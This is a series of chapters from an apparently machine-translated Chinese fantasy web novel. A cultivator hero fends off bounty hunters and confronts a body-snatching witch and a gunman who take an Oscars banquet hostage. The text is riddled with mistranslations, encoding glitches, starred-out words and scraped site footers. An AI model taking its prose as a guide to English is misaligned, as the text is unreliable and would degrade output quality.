    A mocking smile appeared at the corner of the ghoul''s mouth.


    Want to use a pan to deal with me?


    This is simply an insult to a soldier! I����.


    The thought behind came to an abrupt end.


    As An Yan held a pan in her hand, she first gestured to the ghoul flying in the air twice, and then just like playing baseball, when the ghoul rushed to the front, she suddenly swung it out.


    boom! A muffled sound.


    The pan refined by Xue An is extremely hard, and An Yan''s skillful tricks directly hit the ghoul''s head.


    The ghoul felt black before his eyes, and fell to the ground with a splash.


    However, his tactical literacy is really good, and he wanted to fly away the moment he landed.


    But at this moment, An Yan took a step forward, stepped on the head of the ghoul, and put his head on the pot, yelling: "Don''t move!"


    The ghoul really didn''t dare to move, everyone froze in place.


    Shen Nan watched this scene dumbfounded.


    She thought Xue An was good enough.


    Unexpectedly, my sister An is even more vigorous.


    This weapon is a bit weird.


    At this time, Xue Xiang and Xue Nian also ran over.


    "Big villain, dare to attack mother and kill you!"


    Xue Xiang and Xue Nian held up their small pink fists, and hit them with head and face.


    The ghouls didn''t care at all, thinking they were just two little girls, what strength could they have?


    Unexpectedly, Xue Xiang and Xue Nian had very strong figures that had been refined by the pill.


    With this punch, there are dozens of kilograms of strength.


    Soon, the ghoul was beaten into a face full of flowers.


    Especially Xue Nian, I didn''t know where to turn out a mini-version of a small pan, and it hit the ghoul''s head with a tap.


    Dangdang!


    It''s kind of rhythmic!


    Shen Nan sucked in air as she watched.


    This family... seems to be very vigorous!


    When Xue An came back, when he saw this scene, he couldn''t help but laugh and cry.


    An Yan said contentedly: "Husband, look, we are three great, right?"


    Xue An nodded, "It''s okay, but this person has already run away, haven''t you created it?"


    "What?" An Yan was startled, and quickly looked down.


    really.


    This ghoul just used the secret technique of life-saving and fled directly.


    "Ah! It''s really maddening everyone, I still think that a big bad guy has been caught!" An Yan said with some frustration.


    Xue An smiled, "Okay, let''s run away, a group of young people, what are you talking about!"


    Xue An waved casually while comforting his wife.


    A sword gas cut through the sky and went.


    now.


    The figure of a ghoul emerged on the street a dozen miles away from Shen''s house.


    He wiped the cold sweat from his forehead, still in fear.


    He quickly escaped after feeling the smell of Xue An''s return.


    Otherwise, he felt that he was sure to pass away there!


    Fortunately... finally came out!


    The ghoul is rejoicing.


    A sword light flew to it and directly brushed it from the neck of the ghoul.


    He blinked blankly, then his head rose to the sky, and the dead body fell to the ground with a plop.


    This terrifying and **** scene also made pedestrians scream in the street.


    After the corpse of the ghoul is brought back.


    Griffin was wearing a black suit, standing beside the corpse and watching quietly.


    The atmosphere in the room was terribly suppressed.


    After a long time, Griffin said, "Take his body to the basement!"


    Hearing this command, many people turned pale, with extremely frightened faces in their eyes, but they still bowed their heads and said, "Yes!"


    The house Griffin now lives in is located on the edge of Hollywood, and is a single-family villa surrounded by towering trees, which looks very gloomy.


    The basement is specially reinforced, even if it is a missile, it is difficult to penetrate here for a while.


    On the ground of this basement, a pattern resembling a six-pointed star was painted with a strangely colored paint.


    The body of the ghoul is placed in the middle of the six-pointed star.


    In addition, in the other corners of the six-pointed star, there are also corpses or blood.


    Griffin knelt down on the ground respectfully, muttering words.


    As he chanted in a low voice, his face gradually became pale, and the basement became more and more gloomy.


    suddenly.


    After a fierce fluctuation, a cloud of black mist emerged above the six-pointed star.


    A tall and mighty three-headed vicious dog emerged in the black fog.


    One head lowered his head to eat the ghoul''s body, while the other head said complacently.


    "You wait for the devil, what do you call me?"


    Griffin was overjoyed, knelt and crawled on the ground, and said with trembling, "Respectful three-headed dog! The demon clan welcomes you!"


    The three-headed dog snorted coldly, "Just a few sacrifices will call me to the lower realm? It''s not enough for me! If you can''t give me a perfect explanation, then I will eat you now!"


    Griffin hurriedly said: "Master Three-Headed Dog, this time you are called to the Lower Realm. There is really something unavoidable!"


    With that said, Griffin recounted all the previous events.


    In particular, the next night witch and Xue An are introduced.


    After hearing Griffin''s introduction, the grinning laughter of the three-headed dog echoed in the basement.


    "Emperor Night Witch? Haha, it''s probably the inheritance of the Eastern gods, but if I can eat it, it will be of great benefit to me. As for that Xue An is just an ordinary Chinese cultivator, I am not afraid of him !"


    Griffin was full of excitement, "Master Three-Headed Dog, I look forward to seeing you surrender the Night Witch Emperor and leave the figure to me!"


    "Hehe, this is easy to say, but now I am very hungry and need a lot of blood!" said the three vicious dogs.


    "My lord, calm down, I have prepared everything!" Griffin''s eyes sparkled with joy.


    Ghouls are demons with the blood of a dark race, so after their deaths, they can also use their bodies as sacrifices to call on the gods of the devil world.


    But they usually call on some ordinary little demon gods.


    Who could have expected that this time the three-headed dog, the gatekeeper of hell, was called!


    This naturally made Griffin overjoyed.


    He is very confident that as long as the three-headed dog is there, then the Night Witch Queen, including Xue An, and the two dark giants in the City of Sin, will surrender to his feet!


    The next two days.


    There are more and more bounty hunters trying to attack Xue An.


    But Xue An was free.


    Because Anyan found something more fun than playing games.


    That''s the bounty hunter who came out with a pan and didn''t know where he came from.


    Like now.


    Xue An is sitting on the sofa in the backyard yawning boredly.


    And An Yan was playing gophers on the lawn in the backyard with great interest.


    To be sure, this gopher is a ninja killer from the country.


    He is also at the top of the Bounty List in Sin City.


    But at this moment, the killer was about to collapse.


    This backyard seemed to have become his eternal nightmare, no matter how he escaped, he could not leave this yard.


    He didn''t know, it was Xue An that closed this space, and all the escape techniques were invalidated here.


    And whenever this killer emerges from the ground, a pan will fly accurately.


    In the end, the assassin came out of the soil and lay on the grass out of breath, "No...no, kill it if you want to kill! I...I really can''t move!" The novel is invincible, from the fairy Dad starts the latest chapter, Chapter 266, a sturdy family (fourth more) URL: https://

 Chapter 267： How is it, moved or not?

    As he said, he closed his eyes and prepared to wait for his death.


    But after waiting for a long time, nothing happened, and he opened his eyes in doubt.


    Seeing An Yan carrying a pan in her hand, she said ridiculously: "Who said I was going to kill you?"


    "Huh?" The killer thought he had heard it wrong.


    At this time Xue An stood up from the sofa and said lightly: "Okay, Yan''er, stop playing!"


    An Yan sighed boredly, "It''s boring, I''ve just played hard, but the results have given up!"


    Speaking of An Yan, he left on his own.


    Xue An approached the killer, showing a few white teeth, smiling very well.


    "Look, you obviously came to kill us, but my wife and her adults have a large number of them, so they don''t plan to care about you! How about, excited or not?"


    "No... I dare not move..." the killer said quietly.


    He could feel Xue An''s murderous aura.


    "Huh?" Xue An raised his eyebrows slightly.


    "Ah...excited!" The killer nodded repeatedly.


    "This is good!" Xue An smiled slightly.


    "I heard...you bounty hunters are very rich?"


    "Huh?" The dear fellow hasn''t come over yet.


    "My patience is very limited, so don''t pretend to be stupid, clear?" Xue An said lightly.


    "Clear and clear!" The dear man nodded like smashing garlic, then smiled bitterly.


    "My lord, all my savings are in the Swiss bank, and I don''t have any cash with me..."


    Xue An smiled happily, "This is easy to handle, am I still willing to trust people!"


    With that, Xue An took out a piece of paper and threw it to the killer.


    "The above is my bank account. After I return, I will transfer all the money to the past. Is it clear?"


    "Yes Yes Yes!"


    "Well, you can go now!" Xue An said lightly.


    "What?" The dear man was shocked again.


    "Why? Don''t you want to leave?"


    "Think about it, I''m leaving now!" As he said, he got up from the ground, secretly happy.


    As long as you leave here, the fool will pay you!


    About to leave excitedly.


    Xue An''s voice came from behind.


    "Don''t think about playing tricks, but I planted a curse in your soul. If you don''t obediently transfer all the money, I don''t know what will happen!"


    The assassin who was full of joy froze, and then said bitterly, "Yes, yes! How could it be? The first thing I do after I go back is to quickly transfer the money!"


    Xue An waved his hand, "Go away!"


    The killer left in despair.


    At this time An Yan came over and said ridiculously: "Husband, is it appropriate for us to do this?"


    "How is the difference?" Xue An said lightly.


    "They came here to prepare to kill us. It would be nice if I didn''t let them die! Now it''s just for them to pay for their lives. Isn''t that cost-effective?"


    "Husband, have you really planted a curse in their souls?" An Yan asked curiously.


    Xue An smiled slickly, "I don''t have that idle time, a little bit of worldly money, and I can''t make me go down one by one!"


    "Then what if they don''t transfer money?" An Yan asked confusedly.


    Xue An rubbed her hair dozingly, "You, sometimes it''s so silly and cute. Although I didn''t cast a spell, I put a little nightmare spell on everyone."


    "If they really dare not turn, the nightmare will be entangled, and they will have to peel off before they die!" Xue An said lightly.


    The fact is as Xue An had predicted.


    These assassins went back, holding a fluke mentality, and wanted to get through.


    But soon, these people started to sleep at night, and even in the back, a terrible nightmare would appear even after closing their eyes.


    Some were weak, and soon collapsed.


    The remaining people quickly turned the money around.


    In just one or two days, Xue An has earned more than 100 million yuan, and it is still US dollars!


    This made Xue An even a little anticipating the arrival of the killer.


    But there is no fool in this world.


    These bounty hunters have deeply clarified a truth after a few days of lessons.


    Even if you are going to mess with the devil of hell, don''t mess with Xue An''s family.


    The first is the woman carrying the pan.


    She will let you know what it means to have no way into the sky and no door.


    There are many bounty killers with superb self-reliance, and they didn''t take Anyan seriously at first.


    After all, An Yan is now a happy realm, not too strong.


    But once the fight started, these killers went crazy.


    That pan, in the hands of this woman, is like alive! It''s unstoppable.


    And the most disappointing thing is that no matter how good your posture is, once you stop and the woman raises her hand, the pan will fly over like a tracker.


    But compared to An Yan''s pan, what makes these bounty killers most timid... is Xue An''s smile.


    He may not kill you, and even chat with you with a smile on his face, and if you are injured, he will make you bandage.


    But under that gentle smile, there is a heart that can calculate your last cent.


    This is the collective sigh of these penniless bounty killers.


    Therefore, when the news spread, many aggressive bounty killers fled straight away.


    The originally enthusiastic Shen family villa finally fell into the desert.


    Xue An can only look up to the sky and sigh, when will there be another chance to lie down like this, someone will give money!


    Oska is nearby.


    Hollywood has gradually become more enthusiastic.


    On a luxurious RV, a handsome blond man said with a grin: "Dear Edward, I heard that you went to the country to seek a female star last time, and you got a lot of dust?"


    At the mention of the country, Edward''s complexion became pale.


    "Stop mentioning that! William, why did you invite me to Hollywood?"


    Williams was full of disbelief, "God, what did you encounter in the country? Why has your personality changed so much? Have you forgotten that Oscar will be coming soon?"


    "What about Oska?"


    Williams shook his head helplessly, "Dear friend, I would rather trust you deliberately! That is Oska! At that time, there will be female stars from all over the world coming here! Don''t you look forward to this... Huh?"


    Edward smiled wryly, UU reading did not speak.


    Upon seeing this, Williams patted him on the shoulder, "Well, I have also heard some of the country''s affairs, but that''s all gone by, isn''t it?


    "And this is not a country. The land under our feet belongs to the most powerful country in the world! We have warships and artillery that are so indestructible that we are afraid of a warrior?" Williams said with contempt.


    Edward didn''t say a word, he was clear, in the eyes of people like Williams.


    Cannon is justice, aircraft carrier is invincible!


    But how could that man be so simple?


    The rainy night in Tokyo appeared in front of Edward''s eyes again, and Xue An broke through with a sword!


    That was his lifelong nightmare! </> The novel is invincible. How about Chapter 267 of the latest chapter starting with Daddy Xianzun? Are you moved? (First update) URL: https://

 Chapter 269： Dark disciple

    Xue An also heard R Long''s words in the distance, and he couldn''t help but sigh in his heart!


    At this moment.


    An extremely luxurious limited edition Rolls Royce slowly drove into the venue.


    Many sights were attracted by this expensive car.


    Many people talked about it, not knowing which star started it.


    At this time, the door opened and Williams got out of the car first.


    In the eyes of everyone''s surprise, he walked quickly to the other side, opened the car door, and waited.


    Seeing a slender catkin stretched out and lightly put it on Williams'' hand.


    Then, a beautiful lady slowly got out of the car.


    Her beauty made many people hold their breath.


    These media reporters squatting outside the venue were first taken aback, and then they all went wild.


    Fan Mengxue!


    She is coming!


    And he came in a man''s luxury car.


    Who is this man?


    What is their relationship?


    These question marks swirled in the minds of many reporters, making them all excited.


    Williams enjoys such a moment.


    The beauty is on the side and everyone is watching.


    Many reporters gathered around and asked, shouting.


    "Miss Fan, what do you think of this Oska?"


    "Miss Fan, if you fail to win this time, what are you going to do?"


    But more questions are still directed at Williams.


    "Miss Fan, is this gentleman your boyfriend?"


    Everyone was quiet.


    Many people looked at Fan Mengxue and wanted to know her answer.


    Fan Mengxue smiled slightly and shook her head, "No!"


    "Then why do you want to come by his car? Are you going back and forth?" The reporter was reluctant.


    Williams frowned, feeling a little unhappy.


    In his opinion, this reporter is simply ignorant.


    But just when he was about to speak out, he suddenly felt the beautiful woman next to him leave quickly.


    He was taken aback for a moment, and then hurriedly caught up.


    These reporters were also startled. What is this Miss Fan planning to do?


    However, the sensitivity of being reporters made them keep up.


    At this time, Fan Mengxue quickly walked into the crowd beside the red carpet.


    The crowd rioted.


    Many people were so excited that they thought that Fan Mengxue was looking for herself.


    However, Fan Mengxue stopped, swept the hair around her ear, and smiled slightly.


    "Ann, you are here!"


    This group of reporters pointed their cameras at the crowd one after another, wanting to see how sacred this person who made Fan Mengxue gloomy would be.


    Waiting for them to take a closer look, they created the man whom Fan Mengxue kindly called, who actually took his wife and children.


    For a while, everyone in the audience was a little lost.


    Williams has a gloomy face and his eyes are full of anger!


    But in the face of so many eyesight, Xue An just nodded lightly and said with a smile: "Here, and I am here to congratulate you!"


    Fan Mengxue smiled, her smile full of happiness.


    Then he turned his head and said to An Yan, "Sister An, I have had too much work these days, and I forgot to pick you up. I''m really sorry!"


    An Yan smiled, "It''s okay!"


    Fan Mengxue looked at the two little girls again.


    "Missing you, have you ever thought of Aunt Fan?"


    A suspicion flashed across the small faces of Xue Xiang and Xue Nian, and then they nodded strangely, but did not speak.


    Then Fan Mengxue looked around, "Ann, why are you here?"


    "Because I can''t enter the main venue!" Xue An said lightly.


    Fan Mengxue frowned, "Don''t worry about them, I''ll just notify them in a while, you can go in with your thoughts and thoughts! I''ll go first, and we will join the dinner party in the evening!"


    After speaking, Fan Mengxue nodded to Xue An, turned and left.


    Seeing her leaving, Williams took a deep look at Xue An and quickly followed up.


    After she left, Shen Kang and Shen Nan said with admiration: "Mr. Xue, Ms. Fan is really beautiful, and she doesn''t have the slightest arrogance in taking care of people. It''s really admirable!"


    Xue An smiled, noncommittal.


    The reporters wanted to come forward to interview Xue An, but as soon as they got wrong, Xue An and his family have entered the main venue.


    In desperation, they had to stomped and sighed and stopped Xue An when they were ready to wait.


    In the main venue, the stars are brutal!


    Many faces that can only be seen on the big screen are gathered here at this moment.


    Xue An took An Yan and others, came to a corner and sat down.


    Among the many western aspects, the emergence of Xue An and others naturally attracted the attention of many people.


    There are curiosity and prying eyes in these eyes, but more are still arrogant.


    No matter what achievements the Chinese make, these people are always full of arrogance and prejudice for no reason.


    But Xue An didn''t care about this. He was looking at Fan Mengxue''s back sitting in the distance, his eyesight shining, and he didn''t know what he was thinking!


    At this moment, a generous Chinese male voice came.


    "Can I sit there?"


    Xue An turned his head and took a look, and he created the iconic big nose.


    After a slight start, he nodded and smiled.


    "Please!"


    After r Long sat down, he looked at Xue An with some curiosity: "You take the liberty to ask, you don''t seem to be an actor?"


    Xue An smiled slightly, "Of course not!"


    An Yan was very excited at the moment, "Mr. Long, can you sign me?"


    r Long laughed, "Of course!"


    With that said, he took the dragon and the snake, signed An Yan, and then created Xue Xiang and Xue Nian, who couldn''t help asking admiringly.


    "Sir, is this your daughter?"


    Xue An nodded.


    Long sighed a little, "Sometimes I also think, why do I live so tired all day? It''s better to spend time with my family! I am very excited to meet you, you have an admirable family!"


    With that, r Long stretched out his hand towards Xue An.


    Xue An smiled, stretched out his hand and shook it, and then said lightly: "Why doesn''t Mr. Long sit in the front row?"


    R Long shook his head and smiled bitterly, "You may not believe it, but I really hate appearing under the camera. I''m so tired! And..."


    Rlong looked at Fan Mengxue who was shining in the distance, and said with a chuckle: "This venue tonight belongs to her! I don''t want to be ignorant and join in!"


    Xue An smiled indifferently, noncommittal!


    And when the Auscar award ceremony officially opened.


    Griffin walked out of the house holding a big, sturdy dog.


    The yard was full of men in black dresses with cold faces.


    After seeing Griffin, the men all nodded slightly.


    These people are Griffin''s most elite subordinates, and they are also his many years of blood and sweat.


    Dark apprentice.


    Only when he hurriedly escaped from the city of sin, he lost most of it.


    Otherwise, the current scene will be more grand.


    Griffin hugged the big dog in the car vigilantly and waved his hand.


    "set off!"


    One after another, black classic cars started to slowly drive out of the villa and head straight for the Oska venue.


    At this time, Griffin quietly leaned down and said in a respectful tone: "My lord, it''s coming soon!" The novel is invincible, starting with Dad Xianzun, the latest chapter Chapter 269 The Dark Disciple (third more ) URL: https://

 Chapter 270： Seize the house? Ha ha!

    "The following is the most exciting moment tonight! Of course, I know everyone is already impatient. After all, after the award is given, we can eat!" The black host looked exaggerated. Said.


    There was a burst of laughter from the audience.


    R Long didn''t think so and pouted, "For so many years, I have been accustomed to Chinese food and their lives, but I have never been able to appreciate the Chinese humor."


    Xue An did not speak.


    He has been watching the stage thoughtfully.


    "The one who won the best actress of the year in Auska is..." The host stretched his voice and deliberately sold it.


    ",! R Long��s compatriots have once again entered Hollywood. This is a Chinese female star from China, Fan Mengxue!"


    boom!


    Although the results had a foreboding, there was still a great commotion at the scene.


    Many people have heard this name for the first time, and they can''t help but search to see who can win this year''s Auscar.


    At this time, Williams also walked up to Fan Mengxue with excitement, bends down and yelled.


    Fan Mengxue smiled slightly, stood up, and stepped onto the platform.


    The momentum in the walk is as indestructible as the Queen of the Night.


    The audience was quiet, and many people were surprised by Fan Mengxue''s momentum.


    Especially many celebrities who have collaborated with Fan Mengxue have their eyesight shining at the moment, and they are secretly shocked. Why do they have such an amazing momentum after not seeing them for a while?


    Fan Mengxue walked to the podium, picked up the trophy in hand, and said to the speaker.


    "I can achieve this result, just want to thank one person!"


    The audience is quiet, everyone is listening quietly.


    "Moreover, this person is here today. I am looking forward to seeing him come on stage now and enjoy this honor with me!"


    Fan Mengxue said, looking at Xue An in the distance.


    But Xue An just leaned on the chair and said nothing.


    After a long silence, everyone in the hall began to whisper.


    "what happened?"


    "Who is Fan Mengxue talking about?"


    "And it''s still on the scene, who is it?"


    Among the people''s discussions, R Long was also a little surprised, "Who is this Miss Fan talking about?"


    Xue An shook his head and said lightly: "I don''t know either!"


    At this moment, the night witch emperor on the stage looked a little embarrassed.


    Why is he not on stage?


    Could it be that I saw something?


    impossible!


    Just now, my spiritual thoughts have been sleeping, and my speech and behavior are controlled by my subconscious mind.


    How could he notice?


    Just when she was amazed.


    Williams stepped onto the high platform, smiling very contentedly.


    "Miss Mengxue, I''m very excited that you can say that. It is my honor to sponsor you to win the prize!"


    There was an uproar below.


    But Williams has outstanding looks and well-dressed.


    This makes many people believe that it is true, that it is really him.


    Fan Mengxue nodded with a vicious look in her eyes.


    "Thank you!"


    An invisible storm was just revealed, and only a few people knew what happened.


    For example, An Yan asked quietly.


    "Husband, why didn''t you come on stage just now?"


    Xue An sighed slightly, "I''m thinking!"


    "Thinking about?"


    "Think about how to rescue Mengxue without hurting her figure!" Xue An said lightly.


    An Yan was surprised, "Husband, you mean...?"


    Xue An nodded, "Don''t worry, I can feel her presence, but it''s blocked!"


    At the same time, Xue An''s eyes grew colder.


    Xue An rarely gets angry.


    This thousand years of Taoism is not in vain.


    Sometimes he was decisive, but his Dao heart remained clear and clear.


    But at this moment, he suddenly wanted to kill!


    Because he felt a strong sense of loss and suffering.


    This made him full of anger.


    "Duoshe? Haha!" Xue An whispered to himself.


    The award ceremony is over.


    Next is the grand dinner.


    Countless female stars appeared at the banquet wearing various expensive dresses.


    The men all got together in small groups and started talking.


    The topic is nothing more than the quality of this year''s movies, and this year''s female stars!


    Xue An did not participate in this, he was leading the two little girls to eat in the dessert area.


    Seeing this scene, the dragon surrounded by everyone crowded out of the crowd, walked over, and handed a glass of red wine to Xue An.


    "You don''t seem to like talking?" R Long smiled.


    Xue An sipped a sip of red wine and said lightly: "It''s not that I don''t like it, but tonight, I have something to do!"


    "Oh?" R Longgang wanted to ask what to do.


    The door of the hall collapsed.


    Then a large group of men in black dresses filed in, all of them holding various ferocious firearms in their hands, and even a few people carrying rockets came in.


    This scene made everyone at the banquet startled, and the women began to scream.


    But soon, the scream stopped abruptly.


    As Griffin walked in gracefully, he fired a dozen shots directly at the ceiling.


    The gunfire was deafening and shocked everyone.


    "Gentlemen and ladies, I''m sorry to interrupt your dinner!" Griffin bent down slightly, posture perfectly like a celebrity.


    "You... what do you want to do?" a strong man asked angrily.


    Snapped!


    As soon as his words fell, his head was shattered by a shot.


    The dead corpse fell to the ground.


    Many people screamed, and then the woman sobbed.


    Griffin shook his head, "I''m sorry, I don''t like someone talking to me in a questioning tone!"


    At this time, Williams whispered to Fan Mengxue on the side: "Miss Mengxue, you will follow me in a while, and I will take you out safely!"


    Fan Mengxue frowned and glanced at him coldly.


    At this moment, the Night Witch Empress was so angry that she almost vomited blood.


    Her original hypothesis was to approach Xue An first, formulate the formula of Tianyuan Potion, and then kill him!


    Unexpectedly, this Griffin would be so excited that someone would hijack the occasion.


    Williams thought that Fan Mengxue was afraid, and whispered: "Don''t be afraid, these guys are probably asking for money I have money, just pay the ransom!"


    "You seem to be familiar with this?" The Night Witch Queen asked rhetorically.


    Williams smiled, "Hey, I was kidnapped several times!"


    While talking, Griffin walked over slowly and smiled at Fan Mengxue.


    "night����."


    Fan Mengxue frowned and motioned him not to talk too much with strict eyes.


    Griffin was taken aback, then nodded and looked at Williams who was aside!


    "Boy, what were you whispering just now?"


    Williams stood up proudly, "Sir, please relax, I will not resist, I know you are planning to ask for money, and my family is definitely willing to pay for me a price that is enough to satisfy you! And This Miss Mengxue, I am also willing to pay the ransom together!"The novel is invincible, starting with the newest chapter, Chapter 270 of the newest chapter of the newest chapter, Chapter 270? Ha ha! (Fourth update) Website: https://

 Chapter 271： Shocking reversal

    As soon as the voice fell, Griffin raised his hand with a shot, which happened to hit Williams in one of the legs.


    Williams thumped and fell to the ground, his face full of inconceivability first, and then he cried out.


    "Forget Ba...ahhhh, why did you shoot me?"


    Griffin blew the blue smoke from the muzzle, and said faintly: "Sir, you seem to have made a mistake. We don''t want money! But I can give you a chance, as long as you are willing to give your life, then this A pretty lady can survive!"


    "Of course, you can also let me kill her, so I will let you go! What do you think?" Griffin raised his gun at Fan Mengxue.


    In the distance, R Dragon, who was squatting on the ground, said solemnly: "This guy, everything you choose is dead!"


    really!


    After hearing this, Williams didn''t entangle at all, pointing to Fan Mengxue and said: "Kill her! And I can give you a lot of money, just ask you to let me go!"


    Williams'' words caused a low uproar.


    Many people are somewhat colder than what he did.


    But Williams didn''t care.


    From his point of view, the confidante is gratifying, but the condition is that he has his life.


    Now I''m about to lose my life, so what kind of beauty are you talking about!


    Griffinson smiled, "Very good!"


    He said, raising his hand with a shot, which hit Williams in the head.


    Williams still has joy on his face, he thought he could survive.


    From the moment he entered to the present, Griffin killed two people in a row, and behaved strangely, making many people feel cold.


    Griffin smiled faintly at this moment, "I will introduce myself first, my name is Griffin!"


    boom!


    Many people''s faces showed horror and disappointment.


    Even a tough guy like R Long has a dejected look at this moment.


    "Oh my god, it''s him! We are probably all dead now!"


    Xue An said lightly: "Why do you say that?"


    "You don''t know, this Griffin is the dark tycoon of Sin City, known as the Eviscer, and he acts extremely harshly. I didn''t expect that he would come here!" R Long said in despair.


    Then he gritted his teeth and said softly to Xue An, "If he kills in a big way, then I will go up first, and you will run out with your wife and children. After all, the two children are innocent!"


    Xue An glanced at the serious-faced Dragon, and suddenly smiled, "How come you feel so like making a movie?"


    Long smiled bitterly, "I didn''t make a movie like that, alas! What the **** did a dark giant like him do when he came here?"


    At this time, Griffin came close to Fan Mengxue, sliding the pistol gently on her face, her eyes full of playfulness.


    An anger flashed in the eyes of the night witch emperor. This guy, deliberately took advantage!


    But his face was full of panic, and he trembled: "You...what are you going to do?"


    Griffin smiled, "What am I going to do? Can''t you guess?"


    Many people looked sad.


    The night witch emperor secretly looked at Xue An in the distance, and saw him squatting on the ground, unmoved, she couldn''t help gritting her teeth secretly.


    Why is this guy so calm?


    With his character, it shouldn''t be like this!


    Griffin suddenly grinned, his muzzle against Fan Mengxue''s head.


    "Such a pretty face, if it is shattered by a single shot, it would be a pity!"


    No one dared to speak.


    Humiliation flashed across the dragon''s face.


    Fan Mengxue is a Chinese actress, but now she is being humiliated by others. As a Chinese actor, he is naturally full of anger and unwillingness.


    "No! Please, let me go!" The Night Witch Queen tried to suppress her anger, trembling begging for mercy.


    "Let you go? Good! But the condition is that someone must die for you!" Griffin said lightly.


    The audience passed away.


    The corpse just now is still lying there, who dares to go up and die?


    Long took a deep breath, and he decided not to endure it anymore.


    Although he was very clear, there was only one way to rush to death at this time.


    But the Chinese man has never seen his female compatriots being humiliated by others, and they have not been moved by the cowardly.


    Even if he died, he would try it!


    But just when he was ready to get up.


    Someone patted him on the shoulder, "I''m coming!"


    r Long was taken aback, and then watched Xue An stood up and walked forward in amazement.


    "You..." R Long was shocked.


    He wanted to say, you still have a wife and children!


    At this time An Yan whispered: "Mr. Long, don''t be afraid, my husband can solve this problem!"


    r Long smiled bitterly, but he didn''t trust him at all.


    After all, the other party is a long-established dark demon, and he has so many accomplices! He has only one person, how could he retreat all over?


    If it doesn''t work, I''ll go up too soon! r Long secretly gritted his teeth.


    At this time, everyone''s eyesight was focused on Xue An.


    Griffin''s eyesight was full of playfulness.


    In his opinion, Xue An''s momentum is very ordinary, not like a strong man.


    The shocking deeds in those rumors actually came from such a man?


    The night witch emperor smiled with joy.


    You are finally hooked!


    At this time, Xue An approached Griffin and smiled faintly.


    "Very pretty marksmanship!"


    Griffin was taken aback, then smiled gracefully, "Thank you for the compliment!"


    Xue An shook his head, "But people are clumsy!"


    boom!


    Everyone was shocked.


    Many people, including R Long, think Xue An is definitely crazy.


    At this time, how dare to speak out?


    Griffin''s complexion darkened, "Oh? You say that, don''t you feel that I dare not kill her?"


    With that, he pointed the gun at Fan Mengxue''s forehead.


    Fan Mengxue looked at Xue An with tears in her eyes.


    Xue An said lightly: "You can pull the trigger now."


    Rlong was completely stunned.


    This guy...what the **** is going to do?


    Griffin was furious and pointed his gun at Xue An.


    "If you let me shoot, I will shoot? Believe it or not I will kill you now!"


    With that, the dark apprentices raised their weapons and aimed them at Xue An.


    Faced with such a battle, Xue An turned to look at the Night Witch Empress, and said in a light tone.


    "You pretend to be good! But at first glance I can see that you are not her!"


    This sentence made the night witch emperor horrified, but the expression on her face did not change, "Ann...what are you talking about? I don''t understand!"


    Xue An smiled, murderous in his smiling face.


    "For example...she never cares if my name is Ann!"


    The Night Witch Empress was frightened, and said with a smile: "I really don''t understand what you are talking about, I really am Mengxue..."


    Xue An stepped forward and said coldly: "It''s just the technique of seizing a house, do you really think I can''t tell?"


    This shocking reversal, looked at everyone.


    A hint of turmoil flashed in the eyes of the Night Witch Empress, and then gradually calmed down, the corners of her mouth raised, revealing a sneer.


    "Sure enough, I can''t hide it from you, but you feel that in the face of such a situation, even if you know...what can you do?" The novel is invincible, starting with Daddy Xianzun, the latest chapter Chapter 271 Fifth update) URL: https://

 Chapter 272： Today...you all have to die!

    Following the voice, Fan Mengxue''s momentum suddenly increased, and her eyes turned into a dark red color.


    A fascinating mandala flower gradually appeared on her long neck and cheeks.


    Xue looked quietly, with an angry expression in his eyes.


    Griffin bent down slightly, and said decently and gracefully: "Respected Empress, you are welcome back!"


    With a very cold smile on her face, the Night Witch Empress said to Xue An in a condescending tone.


    "Xue An, you kill my disciple of the Night Demon Valley! I will calculate this account with you today!"


    Xue An looked up at Fan Mengxue, who was floating in the air, like a demon god, and said lightly: "Night Demon Valley? So, are you also a member of the hidden fairy gate?"


    The Night Witch Empress sneered, "Yes, don��t you really think that the Hidden World Fairy Gate only has that strength? To tell you the truth, the real Fairy Gates are all in Kunlun, and any ancestor will come here. Can crush you!"


    Then there was a look of greed flashing in the eyes of the Queen of the Night Witch, "This matter is not impossible to discuss, as long as you are willing to tell me the secrets of Tianyuan, then I can consider letting you go!"


    The night witch emperor got a bottle of Heavenly Fate by accident, and then created in surprise, this potion had spiritual energy fluctuations, which could increase cultivation.


    This creation made her ecstatic!


    In Kunlun, any pill that can strengthen cultivation is sky-high!


    Unexpectedly, there could be such a thing in the world.


    So she took great pains to prepare to approach Xue An by seizing Fan Mengxue, so as to lay out the secrets of Tianyuan.


    Hearing what she said, Griffin knew why the Night Witch Empress had spent so much time approaching Xue An.


    He also knew the effect of Tianyuan, so he was also full of greed.


    "Xue An, Lady Empress has already made a concession, and I promise that as long as you hand over the formula of Tianyuan today, I will release everyone!"


    Griffin''s words caused a fierce commotion.


    Many people started to clamor.


    "Tell them!"


    "Yeah! Otherwise we all have to die today!"


    This is the tone of prayer.


    Some people simply pointed the finger at Xue An, thinking that it was all due to him.


    "It was originally you guy!"


    "Speak up quickly, or we won''t let you go!"


    There was a mess in the venue.


    The sounds of pleading and cursing were mixed, but the targets were all aimed at Xue An.


    Rlong looked at the most energetic guy around him, and couldn''t help but angrily said: "Did you make a mistake? It is Griffin who is holding us now, but you cursed Mr. Xue so much. What is the reason? ?"


    R Long''s words caused some people to shut their mouths in disbelief, but more people still glared at Xue An.


    At this time, the Night Witch Empress sneered, "Xue An, have you seen it? If you don''t say it today, not only will I not let you go, but even the people present will not let you go!"


    Under such pressure, Xue An, who was standing in the center of the storm, slowly lifted his head, his expression not sad or happy.


    But the Night Witch Empress suddenly felt tight.


    Because of her creation, Xue An''s eyes were too quiet, and the silence was terrifying.


    "When I was in school, I promised her that if anyone dared to bully her in the future, I would definitely help her."


    Xue An spoke slowly, her tone unhappy.


    "She died of both her parents since she was a child, and had a hard childhood. After she went to school, she was pretty and provoked countless disputes."


    "But even so, she never gave up on herself! Those people bullied her, she would only hide and cry secretly! As she said, no one in this world loves her!"


    In the distance, An Yan, who was originally worried, suddenly turned a little red.


    "In my eyes, she is like my sister!"


    "And you, dare to put her soul under house arrest and tortured every day?"


    In the end, Xue An''s tone was full of murderous intent!


    At the same time, an extremely harsh aura rose from him.


    "No matter who it is, today... you are all dead!"


    And the night witch emperor was like seeing a ghost, and she exclaimed, "Sanxian? No! How can Sanxian be so powerful? Griffin, fire!"


    The night witch emperor was terrified and roared loudly.


    Griffin was also a little confused at the moment, and his original elegant posture was gone, and he shouted at the dark apprentices behind him: "Fire! He died!"


    Gunshots were like rain, and countless bullets headed towards Xue An.


    But when Xue An was still more than ten meters away, all these bullets stopped.


    Then gradually disintegrated and shattered!


    This scene shocked everyone.


